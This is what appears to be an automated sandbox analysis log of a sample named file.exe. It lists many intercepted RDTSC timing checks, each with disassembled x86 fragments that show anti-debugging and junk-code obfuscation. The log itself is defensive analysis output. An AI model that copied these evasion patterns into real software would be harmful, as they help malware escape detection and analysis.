Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38467B second address: 3846D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FDE34C00CEDh 0x0000000c jmp 00007FDE34C00CE7h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007FDE34C00CE7h 0x0000001a push edx 0x0000001b jmp 00007FDE34C00CDBh 0x00000020 jmp 00007FDE34C00CE3h 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386F9F second address: 386FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386FA4 second address: 386FAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386FAB second address: 386FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE34EAC86Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386FC3 second address: 386FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386FCD second address: 386FDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386FDE second address: 386FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386FE5 second address: 386FF9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDE34EAC868h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 386FF9 second address: 387003 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387003 second address: 387030 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE34EAC86Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jmp 00007FDE34EAC874h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387030 second address: 213D70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+122D2FBBh] 0x0000000e push dword ptr [ebp+122D079Dh] 0x00000014 or edi, dword ptr [ebp+122D2F9Fh] 0x0000001a call dword ptr [ebp+122D1E63h] 0x00000020 pushad 0x00000021 cmc 0x00000022 xor eax, eax 0x00000024 je 00007FDE34C00CDCh 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e clc 0x0000002f mov dword ptr [ebp+122D2DA3h], eax 0x00000035 cmc 0x00000036 mov esi, 0000003Ch 0x0000003b cld 0x0000003c add esi, dword ptr [esp+24h] 0x00000040 clc 0x00000041 lodsw 0x00000043 cld 0x00000044 add eax, dword ptr [esp+24h] 0x00000048 clc 0x00000049 mov ebx, dword ptr [esp+24h] 0x0000004d pushad 0x0000004e jmp 00007FDE34C00CE7h 0x00000053 sub al, FFFFFF81h 0x00000056 popad 0x00000057 nop 0x00000058 jng 00007FDE34C00CE4h 0x0000005e pushad 0x0000005f jp 00007FDE34C00CD6h 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387064 second address: 38706A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38706A second address: 38711E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007FDE34C00CE1h 0x00000014 pushad 0x00000015 mov edx, dword ptr [ebp+122D2E97h] 0x0000001b jmp 00007FDE34C00CDDh 0x00000020 popad 0x00000021 pop esi 0x00000022 push 00000000h 0x00000024 call 00007FDE34C00CE3h 0x00000029 pop ecx 0x0000002a push 68D43327h 0x0000002f jc 00007FDE34C00CE9h 0x00000035 jmp 00007FDE34C00CE3h 0x0000003a xor dword ptr [esp], 68D433A7h 0x00000041 mov ecx, dword ptr [ebp+122D2CCEh] 0x00000047 mov dword ptr [ebp+122D3A53h], ebx 0x0000004d push 00000003h 0x0000004f and esi, 58F8EB1Ch 0x00000055 push 00000000h 0x00000057 mov ch, bl 0x00000059 push 00000003h 0x0000005b sub dword ptr [ebp+122D2B29h], ecx 0x00000061 call 00007FDE34C00CD9h 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 jnl 00007FDE34C00CD6h 0x0000006f jmp 00007FDE34C00CE0h 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38711E second address: 387123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387123 second address: 38713F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CE0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38713F second address: 38716C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34EAC86Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34EAC877h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387258 second address: 38725C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38725C second address: 387262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387262 second address: 387266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387266 second address: 3872D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC875h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDE34EAC872h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jbe 00007FDE34EAC86Ch 0x0000001c jg 00007FDE34EAC866h 0x00000022 jmp 00007FDE34EAC86Ch 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a jmp 00007FDE34EAC879h 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 push edi 0x00000034 pushad 0x00000035 push edx 0x00000036 pop edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3872D7 second address: 387354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pop eax 0x00000007 mov dword ptr [ebp+122D293Fh], edi 0x0000000d push 00000003h 0x0000000f push eax 0x00000010 jmp 00007FDE34C00CE3h 0x00000015 pop ecx 0x00000016 push 00000000h 0x00000018 xor ecx, dword ptr [ebp+122D2FF3h] 0x0000001e push 00000003h 0x00000020 jns 00007FDE34C00CDCh 0x00000026 push 47196359h 0x0000002b pushad 0x0000002c push edi 0x0000002d push eax 0x0000002e pop eax 0x0000002f pop edi 0x00000030 jmp 00007FDE34C00CE9h 0x00000035 popad 0x00000036 add dword ptr [esp], 78E69CA7h 0x0000003d xor dword ptr [ebp+122D2B29h], edx 0x00000043 lea ebx, dword ptr [ebp+12446F0Eh] 0x00000049 or dword ptr [ebp+122D1DF6h], edx 0x0000004f xchg eax, ebx 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387354 second address: 387362 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387362 second address: 387366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387366 second address: 387387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jo 00007FDE34EAC870h 0x0000000f jmp 00007FDE34EAC86Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FDE34EAC866h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3873F3 second address: 387431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE34C00CDAh 0x0000000e popad 0x0000000f nop 0x00000010 add edx, 226463D7h 0x00000016 push 00000000h 0x00000018 mov edx, 6BCE28CCh 0x0000001d push C2D18FC0h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDE34C00CDAh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 387431 second address: 3874FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3D2E70C0h 0x00000010 mov dword ptr [ebp+122D3B0Dh], esi 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FDE34EAC868h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FDE34EAC868h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D3B07h], ebx 0x00000054 push 00000003h 0x00000056 cld 0x00000057 call 00007FDE34EAC86Bh 0x0000005c xor ecx, dword ptr [ebp+122D1DECh] 0x00000062 pop esi 0x00000063 push 72257805h 0x00000068 jne 00007FDE34EAC86Ah 0x0000006e add dword ptr [esp], 4DDA87FBh 0x00000075 or dword ptr [ebp+122D3166h], edi 0x0000007b lea ebx, dword ptr [ebp+12446F19h] 0x00000081 jmp 00007FDE34EAC872h 0x00000086 push eax 0x00000087 push esi 0x00000088 push eax 0x00000089 push edx 0x0000008a jmp 00007FDE34EAC875h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 399482 second address: 399486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8768 second address: 3A876C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A652E second address: 3A6538 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6538 second address: 3A653D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A653D second address: 3A6543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6543 second address: 3A6552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 js 00007FDE34EAC872h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6552 second address: 3A6558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6558 second address: 3A6573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FDE34EAC87Ah 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDE34EAC86Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A66AC second address: 3A66B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A66B2 second address: 3A66E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC875h 0x00000009 popad 0x0000000a jne 00007FDE34EAC86Ch 0x00000010 jc 00007FDE34EAC866h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A66E1 second address: 3A66E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A66E7 second address: 3A66F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A66F1 second address: 3A66FF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A66FF second address: 3A6703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6703 second address: 3A6707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A697E second address: 3A6982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6982 second address: 3A698C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6DC4 second address: 3A6DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6EDC second address: 3A6EF2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34C00CDEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A704C second address: 3A7052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A731C second address: 3A733A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDE34C00CE9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39D329 second address: 39D339 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FDE34EAC86Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39D339 second address: 39D33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39D33D second address: 39D34F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FDE34EAC88Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39D34F second address: 39D355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8074 second address: 3A8078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8078 second address: 3A80C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007FDE34C00CD6h 0x0000000f jmp 00007FDE34C00CE4h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pushad 0x00000018 jg 00007FDE34C00CD6h 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007FDE34C00CE4h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A80C0 second address: 3A80CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A85AC second address: 3A85B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A94E7 second address: 3A94EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AACEF second address: 3AAD2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE34C00CE8h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AAD2E second address: 3AAD32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AAE5C second address: 3AAE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3ABF4C second address: 3ABF71 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FDE34EAC86Ah 0x00000010 jp 00007FDE34EAC86Eh 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3ABF71 second address: 3ABF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3ABF77 second address: 3ABF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37FEB3 second address: 37FEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37FEB7 second address: 37FEBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B4A4F second address: 3B4A82 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE34C00CEDh 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FDE34C00CE0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B4A82 second address: 3B4A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B40A2 second address: 3B40B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B4570 second address: 3B4576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B4576 second address: 3B457A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B457A second address: 3B4580 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B46F7 second address: 3B46FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B46FF second address: 3B471C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC874h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B471C second address: 3B4721 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B48B6 second address: 3B48BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B5F35 second address: 3B5F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B6002 second address: 3B6008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B6008 second address: 3B600C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B61CB second address: 3B61D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B648D second address: 3B6493 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B6493 second address: 3B64BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d ja 00007FDE34EAC866h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B7080 second address: 3B7084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B7229 second address: 3B722D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B722D second address: 3B7233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B7233 second address: 3B72AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDE34EAC86Ch 0x00000008 jo 00007FDE34EAC866h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jbe 00007FDE34EAC872h 0x00000018 jmp 00007FDE34EAC86Ch 0x0000001d jnc 00007FDE34EAC86Ch 0x00000023 popad 0x00000024 nop 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007FDE34EAC868h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov esi, 25E482C3h 0x00000044 xchg eax, ebx 0x00000045 jmp 00007FDE34EAC877h 0x0000004a push eax 0x0000004b pushad 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
